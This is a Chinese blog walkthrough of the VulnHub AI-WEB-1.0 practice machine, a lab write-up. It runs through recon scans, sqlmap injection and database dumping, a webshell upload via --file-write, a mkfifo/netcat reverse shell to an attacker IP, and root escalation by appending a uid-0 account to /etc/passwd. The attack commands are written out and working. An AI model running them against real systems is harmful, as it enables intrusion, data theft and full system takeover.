最近想打打靶场,找了几个入门靶场来渗透测试了一下,vulnhub的AI-WEB-1.0这个是我打的第一个靶机,整个过程还是比较顺利的(毕竟是入门级的)。
信息收集
扫描主机
使用netdiscover发现主机
netdiscover -i eth0 -r 192.168.30.0/24 |
扫描端口
使用nmap扫描存活主机的端口
nmap -sS -sV -A -n 192.168.30.132 |
只得到80端口
浏览器访问一下192.168.30.132:80,好吧果然什么都没有
扫描目录
使用dirb扫描目录
参考:DIRB:一款强大的Web目录扫描工具使用指南
dirb http://192.168.30.132 -o dirb.txt |
直接访问url
http://192.168.30.132/server-status,无权限
http://192.168.30.132/robots.txt,发现两个目录
访问这两个目录,都是无权限,下面再使用dirb扫描这两个目录
/m3diNf0/目录:
访问http://192.168.30.132/m3diNf0/info.php,是php配置文件,在里面发现了网站的绝对路径
/se3reTdir777/目录:
访问http://192.168.30.132/se3reTdir777/index.php,看起来是一个sql注入漏洞
访问http://192.168.30.132/se3reTdir777/uploads/,无权限
漏洞利用
sql注入
先bp抓包一下,确定是POST传参并找到注入点
使用sqlmap工具进行sql注入
sqlmap -u "http://192.168.30.132/se3reTdir777/" --data "uid=11&Operation=Submit" --dbs |
sqlmap -u "http://192.168.30.132/se3reTdir777/" --data "uid=1&Operation=Submit" -D aiweb1 --tables |
sqlmap -u "http://192.168.30.132/se3reTdir777/" --data "uid=1&Operation=Submit" -D aiweb1 -T user --columns |
sqlmap -u "http://192.168.30.132/se3reTdir777/" --data "uid=1&Operation=Submit" -D aiweb1 -T systemUser -dump |
尝试--os-shell
sqlmap -u "http://192.168.30.132/se3reTdir777/" --data "uid=1&Operation=Submit" --os-shell |
第一个选4(PHP),第二个选项选2(自定义目录位置),这里需要提供绝对路径
前面在php配置文件中我们找到了网站的绝对路径为/home/www/html/web1x443290o2sdf92213/,扫描/se3reTdir777/目录时,出现了/se3reTdir777/index.php和/se3reTdir777/uploads/两个路径,访问这两个路径都存在sql注入漏洞,所以这里我两个路径都尝试了一下,uploads/这个对了。
拿到shell,但是权限较低是www-data
文件上传
hack.php,本地的一句话木马文件

使用sqlmap上传hack.php文件
sqlmap -u "http://192.168.30.132/se3reTdir777/" --data "uid=1&Operation=Submit" --file-write ./hack.php --file-dest /home/www/html/web1x443290o2sdf92213/se3reTdir777/uploads/hack.php |
--file-read:从后端DBMS文件系统读取文件--file-write:在后端DBMS文件系统上写入本地文件--file-dest:要写入的文件在DBMS上的绝对路径
然后使用蚁剑连接
反弹shell
在kali本地监听 nc -lvvp 6666
在蚁剑虚拟终端上nc反弹,发现参数-e不可用
nc -e /bin/bash 192.168.30.130 6666 |
在蚁剑终端上创建反向shell
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1 | nc 192.168.30.130 6666 >/tmp/f |
mkfifo /tmp/f:创建一个命令管道(FIFO),命名为/tmp/f。命名管道允许进程间的通信。cat /tmp/f:读取/tmp/f文件的内容。由于/tmp/f是一个命名管道,这个命令会等待数据被写入管道。/bin/sh -i:启动一个交互式的shell。-i参数表示交互式模式。2>&1:将标准错误(stderr)重定向到标准输出(stdout)。这意味着所有通过shell产生的错误消息也会被发送到同一个输出。| nc 192.168.30.130 6666:将cat命令的输出(即shell的输入)过管道传递给nc(netcat)命令。nc命令连接到 IP 地址192.168.0.103的6666端口,并将数据发送到该端口。>/tmp/f:将nc命令的输出重定向到/tmp/f文件。这样,cat /tmp/f命令就会读取这些数据,并将其作为输入传递给/bin/sh -i,从而允许远程用户通过nc发送的命令来控制shell。
成功反弹shell,但依旧权限较低
提权
进入交互式shell
python -c 'import pty;pty.spawn("/bin/bash")' |
搜索属于root用户且具有setuid权限位的文件
find / -user root -perm -4000 -print 2>/dev/null |
查看内核版本
uname -a |

添加root账号
生成Linux系统用户密钥
openssl passwd -1 -salt jt 5799 |
读写/etc/passwd文件
echo 'jt:$1$jt$iCU3U.0M3WJQhDq5RlET00:0:0::/root:/bin/bash' >> /etc/passwd |
登录账号
su jt |
查看flag
参考文章
[看完这篇 教你玩转渗透测试靶机vulnhub——Ai-Web1](看完这篇 教你玩转渗透测试靶机vulnhub——Ai-Web1-CSDN博客)
[Vulnhub靶机渗透之 AI: Web: 1](Vulnhub靶机渗透之 AI: Web: 1_反弹shell服务器上执行不了ai:web:1-CSDN博客)